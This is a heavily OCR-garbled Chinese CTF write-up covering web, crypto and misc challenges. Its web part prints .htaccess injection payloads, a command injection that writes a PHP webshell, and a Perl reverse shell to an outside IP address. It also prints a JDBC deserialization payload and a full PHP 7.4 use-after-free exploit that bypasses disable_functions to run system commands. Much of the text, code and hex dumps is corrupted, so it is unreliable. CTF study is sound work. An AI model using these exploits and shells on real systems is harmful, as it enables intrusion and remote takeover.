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1) RS TAREMNNAM, EFhttp §1127.0.0.1
2) EREERFIIL, SAshell

3) fhtYbase64sgiddie(), rot13&ERATLA

AR LA

$hero;

construc

-»hero =

-»hero->»read();

file get contents( >file);
1
J
1
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$tlag = GWHT () ;
echo serialize(%flag);

easyPHP
(= e

<?php

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){

if ($file !== "index.php") {

unlink($file);

}

}

}

if(lisset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(_FILE_);

dieQ);

}

$content = $_GET['content'];

if(stristr($content,'on') || stristr($content,'html') || stristr($content, 'type')
|| stristr($content,'flag') || stristr($content, 'upload') ||

stristr($content,'file')) {
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echo "Hacker";

dieQ;

}

$filename = $_GET['filename'];
if(preg_match("/[Aa-z\.]/", $filename) == 1) {
echo "Hacker";

dieQ;

}

$files = scandir('./");
foreach($files as $file) {
if(is_file($file)){

if ($file !== "index.php") {
unlink($file);

}

}

}

file_put_contents($filename, $content . "\nHello, world");
?>
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tHifipayload, EREZER \ &i#contentEI\n, FAER .htaccess BEBANSSE Apache i51THR
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?

content=php_valueX%20pcre.backtrack_Timit%200%0aphp_value%20pcre.jit%200%0a%23\&f
ilename=.htaccess

&8 preg_match BwaffgRte] LUEIL php: //filter (HtHNBN—GIE

?filename=php://filter/write=convert.base64-
decode/resource=.htaccess&content=cGhwx3zhbHV1IHBjcmUuYmFja3RyYWNrX2xpbwl0IDAKcG
hwx3zhbHV1IHBjcmUuam10IDAKCGhwX3ZhbHV1IGF1dGIfYXBwzw5kX2ZpbGUgLmhOYWN]jZXNzCiM8P3
BocCBT1dmFsKCRTROVUWZFAKTs/PI1w&1l=phpinfo();
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?filename=.htaccess&content=php_value%20auto_prepend_fiT\%0ae%20.htaccess¥%0a%23<?
php%20system('cat%20/f1[alg"');?>\
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EEMpayload (LBAKERTE) :

?file=php://filter/convert.%6%32ase64-encode/resource=GWHT.php

1s -al

1s /GWHT

?count=1'| Ts / | tac |]|'

?count=1"'| echo "GWHTCTF" | su GWHT -c "tac /GWHT/system/of/a/down/flag.txt"
[

LB —

count="'|echo "<?= eval(\$_POST['shell'])?>" > a.php'

AR
BN, EEEL, f#mdS
Hfind / -name "flag*" #Zflag 48R N

/GWHT/system/of/a/down/flag.txt

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

iR -

(FFFRHER-- L4k 5 | RS REHEHAVTE SHEE R AEIwp)
AUEARREER) L
[Z3Eshell

system('perl -e \'use

Socket;$i1="39.108.164.219"; $p=60007;socket(S,PF_INET,SOCK_STREAM, getprotobyna
me("tcp"));if(connect(s,sockaddr_in($p,inet_aton($i))))

{open(STDIN, ">&S") ;open(STDOUT, ">&S") ;open (STDERR, ">&S") ;exec("/bin/sh -
IROEVEASRPL;

Blackcat
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1) FIFEEEKFITRARE—TIE M— P MP3iEREE, EEFRNE, THMP3,
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2) Fnotepad¥JFmp3{t&EE—ERIES, BT

if [empcy [§ POST['Black-Cac-Sheriff']) || empty(§ POST['Cme-sar®])}I

10 16! MERE—AEHEE! «:

Selandeating = geteny("clandestine®)

if [iaser [§ POST['White-cac-momitor®]))

Sclandestine = hash hmac(®shalSe', o POST['White-cat-menitor'], Sclandestins):
kb = hash Emac{'shalSd*, & POST|'Ons-sac®), Sclandestine):
1f(ghkh !== 3 POST|'Black-Cac-Sheriff']}[

aeWEEE, TESHE SHEFRRAGEERENSR. NESS, FRANENEREOHETR, ;

scho sxec("nc®. 8 POST(['One-—eaci]):

3) hash_hmac()EREE_NSEREERRHZ, IREIZERANULL, W$clandestined#zE, $hhgtrllA
8, TEHEREIRSuE

white-cat-monitor[]=1&0ne-ear=;cat flag.php&Black-cCcat-
Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784febe24b7e8cdblb6

A piece of java
R R

JRERERLT, DL Java RFFFML.
F—, serialkiller BRELIE, WWENSAEMA JDBC iEE:

DatabaseInfo databaseInfo = new DatabaseInfo();

databaseInfo.setHost("x.x.x.x");

databaseInfo.setPort("x");

databaseInfo.setUsername("root");
databaseInfo.setPassword("root&userssL=false&autobDeserialize=true&allowPublickey
Retrieval=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.Serverstatusbiff
Interceptor™);

InfoInvocationHandler infoInvocationHandler = new
InfoInvocationHandler(databaseInfo);

Info info =
(Info)Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(),

databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
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% |DBC 5L IE apache-commons-collections, AJLASE :
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload, REFFHLEEFTERTLAR
ysoserial, tBAILABCEE. ZETFL4H9 pom.xml BH4H, BT8R DBC RFEFIK, EXFEHES]
HT commons-collections {kif,

7£ maven GEEHEIA serialkiller, FEEAIMES|#H T commons-collections,
break the wall
fRRAE R

FIFE— bug #17 UAF: https://bugs.php.net/bug.php?id=79820

XA bug BJLAE 7.4.x A Li#TRIA, SEIFBIREA 7.4.8,

TR
fil% UAF
RSB EIA:

<?php
class Test {
public stdClass $prop;

$rp = new ReflectionProperty(Test::class,
$test = new Test;

$test->prop = new stdcClass;
var_dump($rp->getType()->getName()) ;

'prop');

PTZEeR B R ERIRA:

string(8) "

£ new Test ZRISSHIH—iE, BEERALESRYE:

string(8) "stdcClass"

B —TEERTF, JUERIRFANATRXEN:

Ox7ffff3e01988:
Ox7ffff3e01998:
0x7ffff3e019a8:
Ox7ffff3e019b8:
Ox7ffff3e019c8:
0x7ffff3e019d8:

RRXB—FFEH, SIAHEN 2, KEM 8, B/ stdClass, ZERINIRXERY:

0x0000000600000002
0x0000000000000008
0x0000000000000000
0x801lae7a49db87483
0x706d75645f726176
0x00007ffff3e019b0

0x0000000000000000
0x7373616c43647473
0x00007ffff3e01a50
0x0000000000000008
0x0000000000000000
0x801ae78c6ce6a006
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Ox7ffff3e01988:
0x7ffff3e01998:
0Ox7ffff3e019a8:
Ox7ffff3e019b8:
Ox7ffff3e019c8:
Ox7ffff3e019d8:

0x00007ffff3e019d8
0x0000000000000008
0x0000000000000000
0x801ae7a49db87483
0x706d75645f726176
0x00007ffff3e019b0

0x0000000000000000
0x7373616c43647473
0x00007ffff3e01la50
0x0000000000000008
0x0000000000000000
0x801ae78c6f29b026

RERFAHEXENE (RERE. SIAHEN) B AFHETEAM T 0x00007ffff3e019d8, S
var_dump RUEIHH T R, (FAEEMSAIR, XMEMZEENRFERITIMIE, ZR PHP KER
FREHAIKRE, HE $rp->getType()->getName() X MEARBIEARIE—NEEH free BIRITFHBLL,
XEFE— UAF,

it $rp->getType()->getName() IER—PMBEENIIHR
FIHABEA—EENNS: EREEIKIFREE, FERRE,

MER $rp->getType()->getName() ERFHFIIDES, ATLABEIE SRAZERIA/NR ReflectionProperty
RG89 Test EPRRRTERIMEX (FERIERIRIES, 28 stdClass, FRLABEIEAKE 8 IF
FERDETE) . BRRTEXUKABCENE, BARRFKENERRTEN, &E:

<?php
class Test {
pubTlic HelperHelperHelperHelperHelperHelperHelper $prop;

}

class HelperHelperHelperHelperHelperHelperHelper {
public $a, $b;
}

$rp = new ReflectionProperty(Test::class,
$test = new Test;

'prop');

$test -> prop = new HelperHelperHelperHelperHelperHelperHelper;
$abc = $rp -> getType() -> getName();
$helper = new HelperHelperHelperHelperHelperHelperHelper();
if (strlen($abc) < 1000) {
exit("UAF Failed!");
}

echo strlen($abc);

AJLAEZ| $abc BHSE D 140737284944400, 7\t 0 0x7ffff3e03210, BI—NTFIMBILE, 5BBHE:
fiIIRELL $abc NFHFEEE T — M EENNSR, MEXMNFHENKEIFEERK, JLUBHEEXD
FRBREIEESHIAFSRET. EEEIEN—SE, strlen REPNFERHFENE=AREFETH
R, BRI FAENENENNREFRTHR.

read and write £%d disable_functions

BT SREREMIRFR—TEENEE (B2 — Closure [KR) , bLan:

$helper -> a = function($x){};

XEEENTRPHEE—MEMIXA Closure IERAVIEE. REBTIESIEEA Closure X35 copy
B—RRENNFL, EXERIMES handler /3 system, B{EXNBENIRPIHEEHLIEIEREIXA
Fake Closure, ABABAXNEENMNEFHNEENRHHTLULT. LEEEENNSHNGEENR, £
BHENT:
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0x7ffff3e72190: 0x0000001800000002 0x0000000000000004
0x7ffff3e721a0: 0x00007ffff3e03210 0x00000000015ff820
O0x7ffff3e721b0: 0x0000000000000000 0x000000000000002a
0x7ffff3e721c0: 0x0000000000000001 0x000000000000002a
0x7ffff3e721d0: 0x0000000000000001 0x0000000000000000

£ c PRIEXNZ:

struct _zend_object {
zend_refcounted_h gc;
uint32_t handle; // TODO: may be removed ??7?
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
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#¢H 0x2a 7 0x01 FBMRFHNRHIAREE, Bi— I AFRETAEE (83  F—MEREE,
FRDIBHETARXAFRIEE. BLISRPRIBE N REGER Fake Closure, FAIJHmERNTERA G
CEE AN, RASKREREREERS $abc /8, FLATTLUEITEE $abe Uttt (28
TENIIRAMLE) SRITESNAtE:

function leak($offset) {
global $abc;
$data = "";
for ($i = 0;%i < 8;%i++){
$data .= $abc[$offset + 7 - $i];
}

return $data;

}

$helper -> a = $helper;
$php_heap = Teak(0x10);

B REEERX MR, XNURERHIFT SN N RREENE — NEETE, K
MNREEETIEHEHATLLT. 0x00000000015f820 BENX FHY handlers, BIZ PHP EEN— R
%4 std_object_handlers:

Ox7ffff3e721a0: Ox7ffff3e03210 O0x15ff820 <std_object_handlers>

MRFTEN, BFRINRENSEIAEFZEHEEZBNREEASKER, FrLAREMEEHIX ML,
FETLATE zif_system BB (zif_system F2 PHP B9 system ER&EHY handler, disable_functions
RIMCERL RIS system BY handler BESHEHTERIT) -

$std_object_handlers = leak(0x0);
$system_address = dechex(s2n($std_object_handlers) - 0x9f02f0);

0x9f02f0 R B SEIITEHAY std_object_handlers #1 zif_system Z[BJfR#E. SASIEE Closure
copy H3k, AR —:

$helper -> a = function($x){};
$closure_object = Teak(0x10);



FEREIUXA Closure JISRATHBILLY $abc (€, FTLARBEERA $abc i, (BRHEANTTLAKES— KR
TERANE, FURNRABEENEM—MEERUIFRER, M LUSBERHUAIETE:

function leak2($address) {
global $helper;
write(0x20, $address);

$1eak = strlen($helper -> b);

$Teak = dechex($1eak);

$leak = str_pad($leak, 16, "0", STR_PAD_LEFT);
$1eak = hex2bin($1eak);

return $leak;

}

write(0x28, "\x06");

PHAR strlen FEZERF G, RAERESRFNESERENDE, BEBRE-—RNGEHNERE
AIEHE— MR AREIEFAFABRKE, ST, copy FIXE handler:

function s2n($str) { // HFRHEA N
$address = 0;
for ($i=0;%i<4;%i++){
$address |= ord($str[4 + $i]1);
if (51 != 3){
$address <<= 8;

}

return $address;

3

function s2b($str, $offset){ // FFFERME T EME, FEHEFR S
return hex2bin(dechex(s2n($str) + $offset - 0x10)); // -0x10 ZH A strlen it
TR =AW

—

for ($1i = 0;%1 < (0x130 / 0x08);%$i++) {
write(0x308 + 0x08 * ($i + 1), Teak2($prefix . s2b($closure_object, 0x08 *
$i))); // 0x308 &= WK PHP Heap, skbr b 1 IAREHE M7, REhAT i &l
}
$abc[0x308 + 0x40] = "\x01";
write(0x308 + 0x70, $prefix . hex2bin($system_address));
write(0x10, $prefix . hex2bin(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08)));

SERRFIA

SCRRFFERORHE, system HBHUFSEEREEBITRIERKITER, exp PRIMIERLL std_object_handlers
RIS R, FRHERE— PHP REMIMEIE, BHiZ PHP R A, BHREE! system AYttbiL,

exp.php

<?php

# Bug: https://bugs.php.net/bug.php?id=79820

global $abc, $helper;

class Test {

public HelperHelperHelperHelperHelperHelperHelper $prop;

}
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class HelperHelperHelperHelperHelperHelperHelper {
public $%$a, $b;

}
function s2n($str) {
$address = 0;

for ($i=0;%i<4;%i++){

faddress <<= 8;

$address |= ord($str[4 + $i1);
}

return $address;

}

function s2b($str, $offset){
return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0",
STR_PAD_LEFT));

}

function leak($offset) {
global $abc;

$data = "";

for ($i = 0;%1 < 8;%i++){
$data .= $abc[$offset + 7 - $il;
}

return $data;

}

function leak2($address) {
global $helper;

write(0x20, $address);

$leak = strlen($helper -> b);

$Teak = dechex($1eak);

$Teak = str_pad($leak, 16, "0", STR_PAD_LEFT);
$1eak = hex2bin($1eak);

return $leak;

}

function write($offset, $data) {

global $abc;

$data = str_pad($data, 8, "\x00", STR_PAD_LEFT);

for ($i = 0;%i < 8;%i++){

$abc[$offset + $i] = $datal[7 - $i];

}

}

function get_basic_funcs($std_object_handlers) {

$prefix = substr($std_object_handlers, 0, 4);

$std_object_handlers = hexdec(bin2hex($std_object_handlers));

$start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change
0x920 if finding failed

$NumPrefix = $std_object_handlers & 0x0000ffffff000000;

$NumPrefix = $NumPrefix - 0x0000000001000000;

$funcs = get_defined_functions()['internal'];

for($i = 0; $i < 0x1000; $i++) {

$addr = $start - 0x1000 * $7;

$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));

if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix)
{

continue;

}

$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);

$name strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));

$name explode("\x00", $name)[0];



if(in_array($name, $funcs)) {

return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT),

$std_object_handlers, $NumPrefix];

}

}

}

function getsystem($unknown_func) {
$unknown_addr = hex2bin($unknown_func[1]);
$prefix = substr($unknown_addr, 0, 4);
$unknown_addr = hexdec($unknown_func[1]);
$start = $unknown_addr & 0x00000000ffffffff;
for($i = 0;%1 < 0x800;%i++) {

$addr = $start - 0x20 * $i;

$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));

if (hexdec($name_addr) > S$unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {

continue;

}

$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {

return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,

"0", STR_PAD_LEFT))));

}

}

for($i = 0;%$1 < 0x800;%i++) {
$addr = $start + 0x20 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));

if (hexdec($name_addr) > S$unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {

continue;

}

$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {

return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,

"0", STR_PAD_LEFT))));

}

}

}

$rp = new ReflectionProperty(Test::class, 'prop');

$test = new Test;

$test -> prop = new HelperHelperHelperHelperHelperHelperHelper;
$abc = $rp -> getType() -> getName();

$helper = new HelperHelperHelperHelperHelperHelperHelper();

if (strlen($abc) < 1000) {

exit("UAF Failed!");

}

$helper -> a = $helper;

$php_heap = Teak(0x10);

$helper -> a = function($x){};

$std_object_handlers = Teak(0x0);

$prefix = substr($php_heap, 0, 4);

echo "Helper Object Address: " . bin2hex($php_heap) . "\n";
echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\n";
$closure_object = Teak(0x10);



echo "Closure Object: . bin2hex($closure_object) . "\n";
write(0x28, "\x06");

if (! ($unknown_func = get_basic_funcs($std_object_handlers))) {
die("couldn't determine funcs address");

}

echo "Find func's adress:
"\n";
if(!($system_address = getSystem($unknown_func))) {

die("couldn't determine system address");

3

echo "Find system's handler: $system_address . "\n";

for ($i = 0;%i < (0x130 / Ox08);%i++) {

write(0x308 + 0x08 * ($i + 1), leak2($prefix . s2b($closure_object, 0x08 *
$1)));

}

$abc[0x308 + 0x40] = "\x01";

write(0x308 + 0x70, hex2bin($system_address));

write(0x10, $prefix . hex2bin(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08)));
echo "Fake Closure Object Address: " . bin2hex($prefix .
hex2bin(str_pad(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08), 8, "0",
STR_PAD_LEFT))) . "\n";

($helper -> a)("/readflag");

MISC
COM

L 3
MR
fETEE (23)
HE L1l
fRRRT IR
ZHIREMRIRR T 2R
1) ncidk, 8735551 A, BAEAR

. $unknown_func[1] . -> . $unknown_func[0]

816 50 994 405 85, 63 1016 301 1016 75€
186 967 699 7 0 494 281 24 €
E B1ll 331 26« 4 762 592 213 B96 5
261 4 98 88
619 212
97 16
57 952 ) :
8605 34 134 1le0
82 991 370
189 763 39 82 365 B72
353 157 204 385 8B8 4. 788 139 266 756 206 377 751 350 444 264 5

881

L L
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L

689, 895, 858, , 627, 129, 965, 802,
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exp

A =[]

B =[]

with open('output') as f:
for 1ine in f:

R = line.split(" ")

for i in range(len(R)):
R[i] = int(R[i].stripQ))
A.append(R[:-1])
B.append(R[-1])

A = Matrix(zz,A)

B Matrix(zz,B).transpose()

C = A.solve_right(B).transpose()
print(list(c))

# [383, 832, 689, 895, 858, 1007, 627, 129, 965, 802, 297, 475, 588, 156, 192,
71, 980, 835, 850, 311, 530, 3, 179, 109, 541, 992, 68, 649, 100, 391, 33, 867,
831, 919, 878]
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EE/REfEERS

base58
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base64

R IR

1.Exflagmy R =F&flag

2 2EEYE0, BE— MR

FHRTSMS BESMFIR, HIRIEFHE/RIEN (BNERTLBEGRE, BE—T)
REBEI— ML (BTHRR: HAF6666 6667 80005 AIIAR--AFRELAAKENIEET— RO

3EZRMIUE, BEmorselB3fEHoriEits. js R IMEmAbase58t8 (FfFE--utf8Unicode) ,
flag3

4. pHtERAbase64IIZRYERE, BEIRFERIfag-—-AXAhint (B T IRANREIFAE....)

SIGNIN2

MR


af://n125
af://n127
af://n128
af://n133
af://n140
af://n141

i
Shis
e IR

IRBA T ZRtoy®iB, HIEX (HEEARE I miscFUMAAIE? )

https://eprint.iacr.org/2020/301.pdf

BTIRR, —RAA, ZFREZ, FERASTHINER, e TENER

For each letter in the first plaintext, we map it to a four-digit mixed-radix number. The radices
of these numbers are 2, 2, 2, and 3. For our example keyed alphabet, the mapping could be

M — 0000 R — 0100 K - 1000 S — 1100
A — 0001 B — 0101 L — 1001 u — 1101
D — 0002 C = 0102 N = 1002 Vo= 1102
H = 0010 F = 0110 0 — 1010 W = 1110
T = 0011 G = 0111 P = 1011 X = 111
E — 0012 I - 0112 Q — 1012 Y = 1112
so that, if we want to encrypt the message _I—_E'%'“L@_‘%—

“Why is a raven like a writing-desk?”
we obtain this intermediate ciphertext:
1110 0010 1112 0112 1100 0001 0100 0001 1102

0012 1002 1001 0112 1000 0012 0001 1110 0100
0112 0011 0112 1002 0111 0002 0012 1100 1000

Since the second encryption scheme will permute these digits, we need to replace them with
characters that are unique to their initial positions. The first digit can be replaced by A=0 and B=1, the
second by C=0 and D=1, the third by E=0 and F=1, and the last by G=0, H=1, and I=2. Our initial

mapping becomes this updated mapping:

M = ACEG R — ADEG K — BCEG
A — ACEH B — ADEH L — BCEH
D = ACEI C — ADEI N — BCEI
H — ACFG F — ADFG 0 — BCFG
T = ACFH G — ADFH P — BCFH
E — ACFI I —» ADFI Q — BgI

and the intermediate ciphertext is now

BDEG ACEH ADEG

BXON—nE, MRER, BREFBEEMEag
pythonBilAE— 51T
e

https://www.anquanke.com/post/id/85931

ACEH BDEI
ACFI BCEI BCEH ADFI BCEG ACFI ACEH BDFG ADEG
ADFI ACFH ADFI BCEI ADFH ACEI ACFI BDEG BCEG

<~ X E<CWw

BDEG
BDEH
BDEI
BDFG
BDFH
BDFI

Ll Ll

HEAos: MTRESMREGIE, BREBEIXMEEAR, XRHAERHE!

HR=:
TCP/lPE%_'%'

base91
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R
RELRETE
BEUEEFAVidentificationtZEN Sk, Fascll

64 105 72 60 44 123 42 59 111 85 112 47 105 109 34 81 80 108 96 121 82 42 105
101

125 78 75 59 46 68 33 88 117 41 98 58 74 91 82 106 43 54 75 75 77 55 80 64 105
72

60 44 123 42 59 111 85 112 47 105 109 34 81 80 108 96 121 82

KT HEbased 1%

M Z RIS ENTT S

HRIAos: RRARBIXALN, LITRBIEeSEN—KE RN, EEEBBEEET

TETREE" BN N HESE/LENER

28010, RMEBEAEBNH, binwalkiZE

3. EEENEREmEhnt, BrMIE65, MESNThKEREEEFRA, RESB/NTRKER
43B6SSEFHEHSE, ¥010editor, RARBIRE SRR, BFFL, (&¥arapiRar

SJRrar, EZRIMESEEL Thint, GWITL, FEGWIERIRIAGIEHR, 52
(BEXRFIRIZRARS Sfhashcat{SZlhashfE, #AfSFhashcat/®ig)

6 STFFEHEIA
ERNIZEPS
B

—MERzipESet), FECZpRIEEIPK, £EMEMER, ZipXHABEIERERE, FTEEN7L, ME
SNERF=
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5 03 04 OA 00 OO0 OO0 OO0 OO0 18 A9 C7 50 &E BB PEocoosenes oCEn”
A5 AD 23 1B 02 00 232 1B 02 00 OD 00 00 00 C8 D5 F-#...%....... BO
BC CT 31 2F €% 6D &7 2E 70 &E &7 39 50 4E 47 0D W01/ imy. pngkENG.
OA 1A Om OO0 00 00 OD 4% 48 44 52 00 00 00 F9 0O weres--IHDR.. .0,
oo 00 ES OB 06 OO QO OO 01 CB 15 BE OO0 OO 0O O1 - I -
73 52 47 42 00 RE cCE 1C E9 00 00 00 04 67 41 4D SRGB.®I.&_ .. .gAM
41 00 00 Bl BF OB FC &1 05 00 00 00 0% 70 48 59 A..:..u¢ ..... pHY
73 00 00 12 74 00 Q0 12 74 01 DE &6 1F 7B 00 OO S...C...t.bEox.
FF AS 4% 44 41 54 78 5E EC FD F5 7F 1C C9 %A ED ?FID T “‘?5 E%i
OB 5B &C C9% 2C 9% 24 BB 2D &6 BO &4 Bl C5 CC CC « [1B,™5¢ -F"d. At
o0 CC o0 CoC 2C 5% %2 9% DO DD BD FO OC 79 EF 3F iii’f,'f""ﬁ"f"-slli’}rt?
BT DE F3 44 2% E5 BZ DB 0D 7B ARG &7 F& 3E FT 5E BaD) A0, { 1gtin=E
lFr o6 27 B2 B2 4A 55 25 29 BF B1 D6 13 11 %% 7% 0rEEauk) o120, ™y
C6 D4 D% 19 FF 57 FF 57 FF 57 FF EF D5 99 D6 BA  EUU. ywyw?w?lﬂH6¢

BB 10 B3 37 44 A0 B3 25 06 BD 1D 0% 18 EA CB CO w.u7D *R.%., BEA
Cc4 €8 3E E6 €6 2A BD B2 DE 88 BS 2C 2D B7 Ah>zfe g uﬁv,—

60 €1 A% 05 F3 4B 6D 98 SF EC C4 EC &2 07 A6 EE 'n@.&Km‘_ihib. &
38 30 3E D3 86 E1 CY 26 F4 AD DS A% 6F BB 06 FD ;0>014Ee8.0fo . ¥
C3 15 18 16 2A 41 FF 40 21 7A FB FZ2 D1 D3 5B B7 ﬁ...‘hy@!zﬂbﬂ@::
BE FE 02 OC OD 97 &0 7C A2 12 B3 73 F5 5B 58 &C Hp...—"|&. " s0¥K]
52 ED EC 6C 1D E€ E6 1B D4 F6 OC B7 ES 33 Dé 37 Riil . ==, 00, 2347
3 Bl BR D BE Bl F1 OA 34 BT R4 AZ R2Z 32 DA 65 12°084. 4 -ade2, e
E5 91 A AC OA 4€ 75 4D 2C AA RA 63 D4 BE F2 BA A -SFuM, **c0&43
TB &A BB Bl 2% 1% AD &D E5 68 65 4D 43 5B 7B B& {j=t) . -mERIMC[{1
FA BC E1 91 52 4C CF D4 62 71 RS 19 28 AR &0 BA  (%& “RLIGhgE. +emé
FD 44 4B 6B AD 58 DE BC C0 C2 66 2B 66 D7 F9 1D YORKk-KPiRAL+fx=i.
BB C5 6D 3E BF DF AS DA D1 F% ZR 34 F7 &6 AD BB 'Amhaﬁfﬂﬂﬂ’d+f

Ml A A Ar A4 mTl AT Tl mE et FA m SR m AT e e B e e e P

o

=
n
i
"

Variables

Mame Value Start Size Color Comment
» struct ZIPFILERECORD record|0] EOWC1/ima.png Oh 21B4Eh  Fg:  Bag:
struct ZIPFILERECORD record|1] EOWC1/EOWMC.md | 21B4Eh | 320h Fo: Ba:
struct ZIPFILERECORD record|2] 1S 21E7Bh | 24k Fa:  Ba:
struct ZIPDIRENTRY dirEntry]O] EC¥C1/img.png 21E9Fh | SFh Fg: Baqg:
struct ZIPDIRENTRY dirEntryi 1] EOWCISEOWC.md | 21EFER 5Fh Fa:  Ba:
struct ZIPDIREMTRY dirEntryl2] EOWC1) 21F50h | 58h Fq: Baqg:
struct ZIPENDLOCATOR endLocator 21FB5h | 16h Fa: Bag:

RERICHRRTEEHICLUNRIERTER, RETKE, BATERREELESR, FIHnFEHE6K
B, 1&XmE300

A LEE T RicHE4 8%



HYFRREARNE, BRAIFEFMER—PwdnmdtBa]Llhhhh
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RIERICHaYRER, Schtest

—KEFRENZFE, NRDISTEERE—T, ([fHagIEbrainfuck, REMELANEITEZMuLHE
% http://ctf.ssleye.com/brain.html

EEMEAHENERN, FEEIMEREREII—R+++++++71T

Brainfuck
———————
Y > — = el e
- ———- —— ———- e
H+, >+, {{+++ + t, T e N S T O T D S C ORGP +.
L b, ———, | D L D/ (ot D= 2o, KO0 KL 20— ——— O .
O, (- DI e (R D OO0 KL L P9 pmmm e R IDpmmmmm e <
K> PGP — A POy L L L P e S e
Covnnnnn P ID S IR CCC 2 = A CR, LGS DD 5 K € € SR, e R i S G £ S PR L S G o & o A T >
- R (L D A e A € o o o T GUR ++, Po>———— AECC DD K € C RN b O O IR CC O
777777 (DD G D (L O R IO KK R S 0L L s
T AAaarP sl Co T Covvnnnn D S R TN D C o
ST e, Do, mmmmmme B e T I AT CON o oo (KE DOPEERRRRE K-,
FHE  utfB(unicodefHiB)
n = ® =

fOVMRgIBAQAAAAAAAAAAAATAPgABAAAACARAAAAAAABAAAAAAAAAA TgaAAAAAAAAAAAAAEAAOAA JAEAAHWACAATYAAAAFAAAAQAAAAAAAAABAAEAA
AAAAAAWAAAAQAAAA4AZAAAAAAADZCQAAAAAAADATAAAAAAAACAAAAAAAAABWAAAAAAAAAAQAAAAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAA
EAAAAGAAAAEA4AAAAAAAAQDMAAAAAAABAOYAAAAAAANQTAAAAAAACZAGAAAAAAAAAATAAAAAAAA G AAAAYAAAA 0DgAAAAAAACEOYAAAAAAAKADgAA
AAAAFQCAAAAAAAAVATAAAAAAABUAKAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAAAFD] dGQEAAAATAYAAAAAAADUBKAAAAAAANQGQAAAAAAAN
AAAAAAAAAAANAAAAAAAAANANAAAAAAAAAAAAAAAAARAAAAAAAAAAEAAAAAAAAABSSNREBAAAABAOAAAAAAAAFASEAAAAAAAQDMAAAAAAAPABAAAA
1eC140DYtN jQuc28uMgAEAAAAEAAAAAEAAABHT 1UAAAAAAATAAAAGAAAATAAAAAQAAAAUAAAAAWAAAEJOVQBRGy xVsNKe iPJwGAm1 VuV44 jwRVEE
AAAAAAAAAAAAAAAAAAAAAAANAAAAAACWAAABTAAAAAAAAAAAANAAAAAAAAAAAAFAAABTAAAAAAAAAAAAAAANANAAAAAAARAAAACAAAAAAAAAANA

BRI ZE—Hbase6s

BINEAE&MULfE: https://www.qgxiuzi.cn/bianma/base64.htm

Baseb44rigitin

AMQARAAEAALADAAR AL AR AATATTALAAA A TASARAALAAA TAAAR AR AR AR A LA AR AR A AT AR AR AAAAA LA A AR AL RANT AARACAAAAARAR AR A e DA AAAAL &
ACEDAAALAAAAIMEAARAAAAAGARARAAL AR AR AR AL AR AR ALRAAAAAAT TALAAATALAAMAAAA AL - AT g LA A A AT IwA A A AR A4 R AR A A AR AR AA A LA40
AATARAARAALAAPARARAAAA AT A LA AR A ADAARAARAALAA DT AL AR AR ARAAALAAA AR oA A AR AAAAAA A AR AR AR AT AR AARARAA TAR AAA AR AT AR ALRAL

AR AL BARGAAAAARAEARAUAAALAA A g AAAAARALAAAAAALAAASTAS AA AR AL A AAA A AL A AR A DA AAA CAR AAANAL A AR AA AR g bR g AARAAACTEA ALAAA
ARATAAALAALARARAALAA LA AARAALAALAA AL AL AA RAALARw A AL AL Awd AL RAALAAAAAALARAAAA ChALAALAAAA T ALAARAN AR AL AARAALAAANAALANA
ARABAAALAALAAAR AAAADAR AAAAALAALAA AL A A AA ARAAAL cQAALAAAA A AR ARAL A ASA AL AR AR AR AALA AR AALAAAAAARA =

[ | o | e | Cmpsmamon SRS

00000 00000000000 DooOToOoDODOOTONDD

ML ERE, XIRAJRER— el XX M4

3

tis

#ALinux, fEfbase6dins, KFPERBINERHEERSH—elf

BTZ:


af://n180
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https://www.qqxiuzi.cn/bianma/base64.htm
https://www.qqxiuzi.cn/bianma/base64.htm
https://www.qqxiuzi.cn/bianma/base64.htm

HRBHASNERA, HHIDARREES

l{int _ cdecl main(int argc, const char **argv, const char

2
puts(“hei~what you want??");
sleep(1u);
puts(“want a flag? ");
sleep(1u);
puts("sorry~there is no flag");
sleep(1u);

puts("but maybe your can find something useful!");

return 0;
¥
BRFFTHR

ata:000000000060105E

.data:000000000060105F

data:0000000000601060 magic

=1 dldle _I _'I_ ¢ .-_I._'I_ 0 _I_I_

ata:0000000000601074
ata:eee0e00000601875
atra::ueuuue00u0601e /6
ata: duupuunapuduenl1e s/,
ata:uuuuegpuducule /s
ata: uuvuuuduonle /9
ata:  uuuuedudncu 1o /A
ata: 0000000000601 6 /E
ata:0000008000060107C
data: 0000000000601 7D
